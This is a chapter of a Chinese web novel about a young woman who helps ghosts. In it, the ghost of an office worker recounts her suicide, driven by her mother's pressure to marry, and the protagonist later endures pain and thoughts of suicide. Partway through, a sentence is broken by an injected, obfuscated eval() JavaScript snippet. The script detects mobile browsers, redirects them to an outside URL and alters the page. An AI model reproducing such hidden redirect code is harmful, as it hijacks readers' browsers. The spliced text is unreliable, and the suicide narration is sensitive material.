比解决麻烦更快的是新麻烦找上门,刚巧就在月末的前一夜。 秋风刮骨的时节,老金这几天准备的都是锅子。尤其是今晚,松茸猪肚鸡汤锅。土母鸡、猪肚、鲜松茸、元贝,再加酥油提香。张祎宁一进门就被勾去了七魂。 店里每天的菜单都不一样,今天做了松茸猪肚鸡汤锅,明天保准就没有。张祎宁央求老金明天也做一次,一锅就好。明天就彻底熬过这个月了,这样好的锅子当然要在最快意轻松的晚上享用。 老金不像杜文新,平时不怎么说话,但只要张祎宁说的话题和吃有关,他就很乐意打开话匣子。所以,这个请求他很爽快地答应了。 张祎宁不敢冒进厨房,那里像是老金单独隔开的小天地,只好眼巴巴地透过玻璃往里看,再闻一闻食客桌上的汤锅飘来鲜滋味,耳边是咕嘟咕嘟的沸腾。 明晚,明晚就轮到自己吃了。 最后一份汤锅只剩下残羹冷炙,她就是在这时候进来的。 叮铃铃,门未开。 所有人的目光都聚焦在门上。 毫无疑问,今夜有客至。 来的是一个戴着眼镜穿着西服套装,看起来斯斯文文的女生,但她显然是风风火火跑来的,面露焦急之色。 她先是环顾了一遍室内,目光一一略过张祎宁他们,最后落在一角……呃……正在津津有味看《海绵宝宝》的刘元詹身上。 《大明王朝1566》看完后,张祎宁就拿出自己的启蒙动画片来,三百多集够看了,刚好还能让他学学说话。虽然最开始解释起来颇费了一番功夫,光是每个角色属于什么物种就解释了半天,张祎宁承认,这对一个古人来说有点勉强,但刘元詹毕竟不是普通人,看着看着也就看进去了。《海绵宝宝》多好看呀,很难有人能拒绝。 她进来后始终没说话,就看着刘元詹,张祎宁不知道她是在消化一只半束发,穿着直裰的鬼在看《海绵宝宝》这幅场景带来的冲击还是……蓦地,她想起了之前热火朝天时专门找鬼打的广告。 【诚邀,明朝俊逸书生在线征婚。】 那是她的算命摊最火热的时候,看乐子的有,跃跃欲试的有,美其名曰:相看。可惜一个都没成。 这女生不会是专程跑来寻的吧?张祎宁讶然道:“朋友,或许,你想和他结婚吗?” 话一出,刘元詹面容一肃,相看的阴影再次笼罩。 他不习惯被人围观,还是被男女老少一起围观,但,是张祎宁攒的局,其目的自是为了他,他不好发作,强忍下不适,一声不吭地像块没有表情没有颜色的大石呆立。如果说有哪个时刻无比强烈地渴望个解脱,便是那时。终于,在被好事者恣意戏弄地从他身体穿来穿去,耻辱感即将到达顶点的时候,张祎宁看见了这一幕,她板着脸叫停了。刘元詹长长地吐出一口气。 比起刘元詹,女生的反应更大,她瞬间大惊失色,“什么鬼!我就是因为催婚才死的,死了也要被逼婚?!” 张祎宁讪讪道:“不是不是,是我搞错了,我以为你来找他的。” 差点将顾客吓跑。 “没见过,多看两眼而已。” 张祎宁不知道这里的流程是什么,要不要先登个记,而且分配给她的名额从下个月才开始,说明这女生得充公分配,和自己没什么关系,她不确定是否要继续由她询问。给了杜文新一个眼神后,他也很识趣,开门见山:“姓名、诉求,说清楚后我会安排掌簿对接。” 和张祎宁半顺从半斟酌的语气不同,很组织的话术,公事公办。大组织就是有底气。 女生似是没料到这个发展走向,她往张祎宁的方向挪了两步,说道:“我是来找她的,我想让她帮我。” 哦?这种感觉就像在理发店里顾客上门点名,而她就是被钦点的TONY。头一次啊。 张祎宁没办法拒绝。她又没有加入“横”,自己找上门的顾客就是她的,不需要奉献给组织,如果杜文新拒绝的话,她打算带着两只鬼到门口说话,解决完再进来。 杜文新还不至于这么“见钱眼开”,他只是重新回到那堆需要处理的资料里,默许了。 张祎宁热情回应:“可以先说说你想让我帮你做什么。” “唔……”她左右看了看,不大自在,“能不能让我坐下说?” ……你们这些鬼!一个两个的,到底在搞什么鬼…… 你们是鬼啊!鬼不用坐椅子的! 张祎宁在心里用小本本记下了,有时间就从刘元詹身上搞清楚他们这些鬼的运作机制,看看是怎么个要坐法。 心里是这么想的,面上却不显,友善地替她拉开椅子,而后坐到对面。 她坐下后,微笑看着张祎宁,发自内心地说:“这样就对了。” 不对!不对!这不对! “我希望你可以帮我一个小忙,真的就是很简单的小忙,”她怅然道,“因为事发突然,我还没来得及写遗书,但我还有些话想跟我妈说,所以我希望你能以我朋友的身份出席我的葬礼,然后把我的遗书念给她听,呃……如果你不好意思念的话,直接交给她也行。就这么简单。” 听起来是没什么难度,但张祎宁心里更好奇另一件事。 “你刚刚说你是因为催婚死的,这是什么意思啊?我没有窥探你的隐私的意思,但是死因是我必须了解的一个方面。” 她有点抗拒,开始情不自禁地抠手指,“也没什么特别的,就是我妈她一直催婚嘛,我昨天下班回家发现她又来了,在进行了不愉快的大吵一架之后,这位女士又老样子以死相逼,说什么‘你死我亡’之类的话,我突然就觉得好没意思,亲情没意思,上班没意思,爱情没意思,活着也好没意思,既然她以死相逼,我就想,反正总有一个人要死,那我死掉好了。然后我就从阳台跳下去了。”她的语调在尽力保持平淡,体现自己的不甚在意。 “但有一件事很有意思喔!”她是真的觉得有意思,笑了起来,也不再抠手指,“我想分享给你听,就是我以前有想过自己最后死掉一定是因为自杀,但绝对不可能是跳楼,因为跳楼死掉很丑,而且是展示在所有人面前的丑欸,但没想到,我最后竟然是跳楼自杀的,就好像,你越不想要什么,最后反而就只能得到这样的结果,我到死才真的懂这个道理。” 她说完后看了看自己的手指,喃喃道:“昨天刚花钱做的美甲,今天就见不到了,可惜,我很满意的呢……”张祎宁仔细看了看,想象着它本该是什么模样,而后点点头,附和:“好看,blingbling的。” 张祎宁也伸出十指来,她从来没做过美甲,女生凑近瞧,赞道:“你的手指又细又长,指甲也很大,上色肯定好看。” 张祎宁想起很久之前看过的一本书《八百万种死法》,八百万个人就有八百万种死法,每一种死法都因各自不同的人生而有所区别。面前的女孩即是其中之一,她看上去和自己应该差不多大。 “好,我能做。” 这么简单就能完成,何乐而不为? 张祎宁收起手指,打开手机备忘录,“你说,我记。但我和你的字迹不一样,避免要解释更多,我到时候会打印出来。” “严谨。”她赞许道。 万事俱备,她酝酿了一下,几次欲张口都无法,环视了一圈后,低声道:“好尴尬啊,念自己的遗书好羞耻。” “你当他俩不存在就行。” 她给自己做了几分钟的思想准备,张祎宁能感觉到一股迷茫的氛围笼罩住了她,她嗫嚅道:“妈。” 而后又停顿了很长时间,眼神失焦。 “妈,现在你满意了吗?这个不省心的女儿、给你丢人的女儿终于消失了。我现在还挺得意的呢,用自己的死亡换得这场战役的终极胜利。” 张祎宁伸出手制止道:“呃,不好意思打断一下,我不能向你母亲转达关于你死后的信息,换一句吧。” “……行吧。” “那就改成,妈,你总说我小的时候很听话,怎么长大就不听话了呢?是啊,我小的时候多听话啊,从来没有吵过闹过,没有发过脾气没有过叛逆的青春期,但每个人都会有情绪的,你有没有想过一个那么听话的小孩其实才是问题呢?人怎么可能那么听话,像台设定好的没有情绪的机器一样,但你应该很欣慰吧?我最后又变成了听话的小孩,听你的话去死了……” “等等,不好意思,又拐回来了,这句话也不行。” 张祎宁再次无情地打断她,这回她受不了了,睃了张祎宁一眼,没好气地说:“不知道了,不知道怎么写了,这也不行那也不行!” 张祎宁自己也很不好意思,打断别人的沉浸也很需要勇气的,但张祎宁不是她,理解不了她那些过激的情绪,只当是个任务,希望能顺利完成,而且最大的前提是不给自己找麻烦。 但顾客现在生气了,任务停滞,也只能尽量帮她想办法。 “要不 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“这些其实我都可以忍,她爱折腾就随她去,最受不了的是有一次我和她很看好的一个男生相亲,我发现对方对我的生活了如指掌,甚至包括生理期、我的个人古怪癖好,还有我小时候的糗事。在我的威逼利诱之下他才吐露是我妈策划的,她通过翻我留在家里的初高中日记本、和同学来往的信件摸透了我,再把我的这些事都告诉对方,让对方佯装很了解我,是我的灵魂伴侣来接近我,只可惜对方太蠢太装,被我一眼看破。” “哇!毛骨悚然,细思极恐啊!”这时候真的很想来点瓜子饮料,这不比家庭伦理剧新鲜?都快赶上悬疑刑侦剧了。 “这才哪到哪啊?还有你想不到的呢,”她越说越来劲,“越是相亲相不到她就越着急,不可避免地开始相信缘分信玄学,每年都带我往寺庙跑,算姻缘。今年开年算出来我需要到三十岁才会迎来我的正缘,我可开心了,以为终于能喘口气,毕竟那是佛祖说的,她还能怎样?但我没想到的是,过了一个星期她直接带了个神婆过来,在我的出租屋里做了场烟熏火燎的法事,说给我改命了,今年正缘提前来。这不今年都过大半,眼看我还没一点苗头,急得跟火燎腚一样,就开始以死相逼了。” 张祎宁没有过这种体会,此刻听得真真叫一个不可思议,佩服道:“牛啊,神婆改命,你妈有点东西。” “对吧,听起来都很离谱的事情,我们互相都觉得是对方出了问题,她觉得我染上了坏东西才变得这么不听话,我觉得她是更年期到了,没点病也做不出这样的事来。”说到这里,她才在张祎宁面前露出那样悲伤的表情,今晚第一次,不知是为自己还是母亲。 谁都有点病,有人自知且能自控,有人不知还拖累人。 张祎宁斟字酌句:“你是不是很恨她?” 她怔了会儿,不太明白:“不恨啊,毕竟是我妈诶,再说也是我自己跳的,倒不至于恨她吧。” “但仅凭我一点微弱的同理心也能感觉到你刚刚想给你母亲写的遗书那些话很扎心,我估计她听完后不是当场手撕了我说我杀人诛心,就是直接心碎而亡或者被你气死。” “有……有这么严重吗?”她实打实地焦虑了起来。 “应该是有的,我估计你是因为刚和你母亲争吵完又历此大变故不久,心情还未平复,要不这样,你今天先冷静一下,明晚再来这里找我,明天我们再继续。” 她点点头,表示同意,又突然踟蹰:“那……那我今晚怎么办?今晚我要去哪里?我一个人没有地方去,有点害怕。”这样的慌乱出乎张祎宁的意料,她连死都不怕了,这世上该没有任何可惧怕的才对,对于张祎宁这个怕死的人而言,是这样的。 “那你昨晚在哪?” 她皱着眉,“昨晚跟着送灵车去了一趟,回来天都亮了。” “你现在是鬼了,没什么能伤害你的,别人也看不到你,你可以想去哪就去哪,你要是想的话可以回家看看,不想的话也可以去随便转转找你的同类聊聊天,八卦八卦他们的死因。喔,如果你见到他们……”张祎宁瞄了眼正自忙碌的杜文新,压低声音,“可以告诉他们来这找我,巴掌算命摊搬迁到这来了。” 她自语:“还哪有家……” 唔,又到关注鬼身心健康,安抚他们情绪的阶段了。张祎宁如临大敌,张张嘴想开解几句,但看看她彷徨恍惚的样子,到嘴边的话也只剩:“事已至此,别想太多。” 25. 命悬一线 杜文新第一次全程旁观张祎宁的处理。 得出了结论,她真的更适合在天桥上摆摊。 面面相觑大眼瞪小眼后自己先溜了,留下那个女鬼在这,他是没所谓,他从来把他们当空气。只是对方好像如坐针毡,不多时就怯生生开口:“我先走了,明天再来。” 但她不出意外地被门挡住,杜文新也不出意外地在她脸上看见了害怕、惶恐、紧张、疑惑。他撇了撇嘴,心想着这门怎么就不能做成遥控的呢?无视了每走近一步,对方的面目表情就扭曲一分的变化。 明明是鬼,到底还有什么可怕的,或者说,还有什么可失去的? 杜文新没看她,手覆上冰凉的金属把手,顿了一下,才想起问道:“你叫什么名字?” 她完全被近在咫尺的气场所震慑,虽然不安但还是如实作答:“徐淼淼,六个水。” * 徐淼淼逃之夭夭了。 发动逃跑技能的时候她才体会到当鬼的好处——透明、穿墙。 她以整座城市为游乐场,撒了欢地穿过一堵又一堵墙,登堂入室地窥伺别人的秘密,好整以暇地倾听别人的交谈。 多新鲜啊。 她着迷了。 在行不可描述之事,她闪。 同桌吃饭,光吃不说话,没意思。 其乐融融的温馨场面,她光速逃离。 “你小子海王啊,吊着四五个是要干嘛?” 哦?瓜? 徐淼淼一个急停,发现自己正处在男生宿舍,哇,男生宿舍诶,生前无缘得见,死后倒亲临现场了。 但是……很符合她的刻板印象,徐淼淼小心避过地上的鞋子和袜子,寻了个角落耐心吃瓜。 拿着手机的:“你来我往嘛,她们不是都说暧昧阶段最有意思吗?我这是在满足她们的需求。” 打游戏的:“你就不怕她们发现?” 床上还有一个:“拜拜就拜拜,下一个更乖。” 打游戏的:“别拜啊,苟富贵,勿相忘。” 床上的调笑道:“他用过的,你还敢用啊?不怕得病?” 拿着手机的:“找死是吧?我这都是正经妹子。隔壁那个才是,花二百找的还在那吹呢,也不嫌脏,哈哈哈哈!” 三人听到这乐子都笑了。 徐淼淼大翻白眼,对着每个人破口大骂发泄了一通,又拳打脚踢一顿,这才逃离垃圾场。 后来有听到说家长里短的,明天谁送小孩上学谁去医院看爸妈、楼上的小孩又在蹦蹦跳缺教养、刚在楼下捡漏到了七折的羊排可新鲜了连沫子都没……看到个蹲在厕所大哭的小女孩,徐淼淼陪了一会儿,还是默默走了。 最有兴趣的银行金库去了,没有想象中的金灿灿,只有伸手不见五指的黑,连深夜的殡仪馆她都亲历了一番,徐淼淼掰着指头数自己的愿望——环游世界目前来看有了可行性,可是她已经丧失了兴趣;想知道人死以后是什么样,嗯,现在已经知道了,接下来还会看到传说中的鬼门关;想看看地外世界,看起来还不是老祖宗的能力范畴,那国外呢?国外是提着镰刀的死神掌管生死大事吗? 徐淼淼仰脸看天,深沉沉的,一点放亮的趋势都没有,原来这夜也不是一眨眼就能过了的。 今夜未尽,她已经倦了,做鬼也没什么好玩的,和做人一样无聊…… * “还没来?”老金少见地出现在前台,拿着厨房用纸擦铁勺。 “都没来。” “兴许是做了别的约定。” 杜文新轻轻哂笑,将这事抛到脑后,“冯宇统计完了,他先转一圈。” 他们虽能实时掌握最新死亡信息,根据掌簿名册按区域分配,但人手有限,且说白了,大部分掌簿并非全职,很难做到及时响应。另外,他们掌握的是死亡信息,还需要根据后续功曹司提供的名录筛选出执念未了弥留人世的鬼,在这个基础上总会有一些未被及时发现也未找掌簿报道的落单鬼。不为人知处最易埋隐患,杜文新和老金有一部分的工作对象便是这些“隐患”。 “这事交给他就行,我们还是做该做的。” “防患于未然吧,多走动走动。” “嗯。” 约定好的吃锅子听八卦,当事人都不在。实在想不到张祎宁面对这两大乐事会放鸽子,如果她没有命悬一线的话。毕竟阎王要她死,哪能留她到后天? 确实是两件乐事,张祎宁前一天晚上想到那一整锅松茸猪肚鸡汤都是自己的,睡得比往日都香。 净手、擦桌,老金将砂锅放在卡式炉上,点火、掀盖,被强压下去的香味此刻因为没有外物的遮盖,随着袅袅飘升的热烟迷了张祎宁的眼,香味钻进了脑子里,烟雾攀上了眼眶,里面沉闷闷的,外边湿漉漉的。 沉闷变成尖锐,湿漉坠成水滴。第一口汤摔在了地上。 她在杜文新、老金和刘元詹诧异的目光中,痛苦地抱头。 蜷缩。痛吟。 眼前的画面像被装进了万花筒,她看见了无数个他们,有的上前有的退后,无数道声音又再被切割,参差的横截切面混着碎渣一股脑挤进耳朵。张祎宁混混沌沌地想,老金煮的是松茸吗?莫不是采成了毒蘑菇,这下好了,因为贪吃要一命呜呼了……那毒蘑菇是什么味儿的,怎么就想不起来了,不……她……她第一口汤都没喝上呢……摔了呀…… 张祎宁用力睁大眼想看清那锅里到底是什么,可转瞬,眼前已经没有汤锅了,没有杜文新和老金,也没有刘元詹,是熟悉的房间装潢。 她以为是噩梦,一场美梦成空的噩梦。之前所经历的种种,什么地府什么掌簿什么刘元詹都是一场梦,她其实真的已经死了。 但熟悉的痛感还在持续,大有和她不死不休的劲头,是真实的,那些阴差阳错的命运,还有现如今的疼痛。 张祎宁用尽力气大喊:“臭阎王!死阎王!你给我滚出来!” 她再顾不得许多,偏偏痛的伤的是头。 阎王还没有回应,刘元詹先被她吼了进来。 他一定是被自己吓到了,本还在门边踟蹰,那碍于男女大防的忸怩在看到她的脸色后登时消散。他快步上前,伸出的手滞在半空,轻声问道:“你怎么了?” 但张祎宁回答不了。她太痛了,积蓄的力气除了要维持清醒,还得用来对付阎王。四周静悄悄的,但不知是因为她现在半生生死、魂灵不稳的状态,她竟在朦胧中看见不同寻常的迷雾。 像溺水的人明知挣扎会沉得更快,但本能促使,有一分力就使尽一分力。 “阎王,救救我……我这个月完成了,搞错了……” 她已经分辨不出是谁的声音,只是有人在说:“没有,这个月你未按时完成。” “不会的,那个博士生,我帮他发送了实名举报信,还有那个老奶奶,要我帮忙向孙子隐瞒死讯,虽然……虽然失败了,可是奶奶给了我好评……”张祎宁掐紧大腿,维持神智清明,想再抓住一点凭依,“刘元詹也知道的,对不对?” 刘元詹听不见阎王的声音,但他始终关注着张祎宁,忙不迭点头,“是、是、是。” “林书瑞是上个月底的事。” 上个月底……她记不清了,“分这么清吗?我明明、明明有那么多五星好评,上个月我有六个,超额完成,能不能分一个到这个月?” “这个月未完成。” 阎王油盐不进,咬文嚼字地反驳她的抗议和请求,直到她再也没力气申诉。 他不在了,张祎宁能感觉得到,她看着自己一点一点沉入水底。 好累,大不了就是死掉而已,死掉就不痛了,不用求别人,一了百了。 脑子里的自言自语异常大声,不断重复这句话,像是催眠和心理暗示。张祎宁突然就懂得了昨天那个女生是怎么有勇气跳下去的。“一了百了”,多有吸引力。 眼泪划过鼻梁骨,滴落在被子上,洇出一滩深色的水渍。 刘元詹时刻注意着她的脸色,小心翼翼地问:“好了吗?还疼吗?” 她凄然地想摇头,却没有力气,只能哭:“疼死了,好想死,怎么死不掉?” 他蹲下,靠近,跽坐在床边,伸出手想抹掉张祎宁脸上的泪,却什么也没擦去。 “不疼不疼。”他不知从哪学来的,轻轻吹气,口中喋喋不休:“不疼不疼。” “怎么做才能不痛?吃药?” 她这时才想起感知到钝痛后立马猛磕了一片止痛药,看来是根本没有效果。晕也晕不过去,痛也还痛着。 “没用。” 脸上一片湿润,乱发横七竖八地粘连着,狼狈不堪。 “疼,刘元詹。” 张祎宁看进刘元詹的眼底,她记得,刘元詹望向吴智宁的眼神,什么也没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448802|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静无波,无喜无悲,她害怕,害怕他也会用这样的眼神望着此刻的自己。 还好,他不是。算他有良心。 “哪里疼?” “头,又好像全身都在疼。” 她看见刘元詹将手覆在自己头上,她顺从地闭上眼,试图适应疼痛,忘却疼痛。 张祎宁的眼睛闭着,可眉头蹙着,睫毛抽动着,泪水涟涟着,刘元詹敛声屏息,他什么也做不了,偏又不会说话,只能有一下没一下地轻拍她的脑袋。像是所有人类共通的招式,拍一拍,吹一吹,就不疼了。 可显然不管用。 “疼,刘元詹。”张祎宁压抑的呜咽转而变成清晰的哭泣,直至擦过刘元詹的手,将脸埋进被褥中嚎啕大哭。 所有的负面情绪劈头盖脸地向她砸来,她不再做抵抗防御姿态,张开双臂双脚迎接它们。 哭到嗓子痒得只能干咳到呕吐,哭到眼睛肿得不能视物,哭到半边身子都麻痹,她总算平静了下来,感觉整个人都被掏空了,情绪、力气、思想全都缴械奔逃,只剩疼痛在体内攻城掠地。 她艰难地将脸转开,房间里的黑不再与亮相抗,而是氤氲着混合成一团,其中又有不知是夜晚的灯光,还是白昼的阳光,透过窗帘缝射入,失去了蓬勃的生命力,懒洋洋地趴在床尾。 “刘元詹?”她看不太清,安静地连自己的呼吸声都听不见。 “我在。好点了吗?” “会过去的,今天会过去的。过去就好了。” “快了。” 刘元詹连说了不少安慰话,有用没用的,全使上了。 她扯着干哑的嗓子问:“你是不是很想很想离开这里,哪怕灰飞烟灭?” 张祎宁竟然好像听见了他轻轻的呼吸声,像是也同时触摸到他的心跳,感受到他的体温。 他坦诚:“是。” “好,我帮你。” 张祎宁没怎么体会过别人的好,也没体会过对别人好是什么感觉,她想,刘元詹对她应该是好的吧,那她也试试,试试对他好,帮帮他。 意识从混沌到清明,张祎宁做了很混乱的梦。在梦里,她手脚戴着镣铐,被押解着前往某地,那里有灼人的烈焰,有一人的视线穿过焰火落在她身上,是刘元詹!她焦急地央求一旁的守卫,可对方的脖子上只顶着具焦黑的骷髅。 “你快出来啊刘元詹!会死的!” “你不想进来吗祎宁?进来吧。” 依旧是那样的眼神,对生死无谓,对痛苦无睹。 火舌寸寸靠近,不再是致命的陷阱,而是化作水一样的柔情漩涡。 “为什么,为什么是我们?” 刘元詹莞尔:“人各有命。” “出来,刘元詹,可以不是这样的。” “还能怎样呢?”他在火里笑得灿烂。 还能怎样? 一个转念间,她的手不再被镣铐束缚,而是握持着红色的灭火器,她下定决心,对准仍在不断扩散的火龙,按下。整个世界是飘着粉尘的白,她觉得有什么堵在嗓子眼里,俯下身呛咳。 “咳咳咳——咳咳咳——” “张祎宁?祎宁?!” 嗯? 看到她睁开眼,刘元詹才顿觉脱力。方才没头没尾地说完话她就沉默了,呼吸逐渐平稳,可刚放下没一会儿的心又揪了起来,她突然剧烈咳嗽,不论他怎么喊都不见好转。 “魇着了?” “刘元詹,你竟然想拉我去死?”张祎宁顺过气来说出的第一句话是兴师问罪。 “什么?我、我不曾!动念都未曾有!”突然被扣上莫须有的罪名,他辩无可辩。 张祎宁只是这么一说,她也不会迁怒他,毕竟他们没有一起葬身火海。现代人就是好,金手指一开,灭火器一喷,小小火苗,不在话下。 关键时刻还得靠自己。至于为什么在梦里又反悔不想死了,她觉得自己只是不想死于火烧。 火灭了,头好像也没那么痛了。她强撑着坐起,从床底找到被扣上的手机,竟然已经晚上11点了,她这才想起自己爽约,也想起今天忘记了请假。 有一通杜文新的未接来电,她几乎没听见。 她问刘元詹:“你有听见手机响吗?” “没有。” 那应该只是响了几秒。 意料之中,他们的关系本来就不亲厚。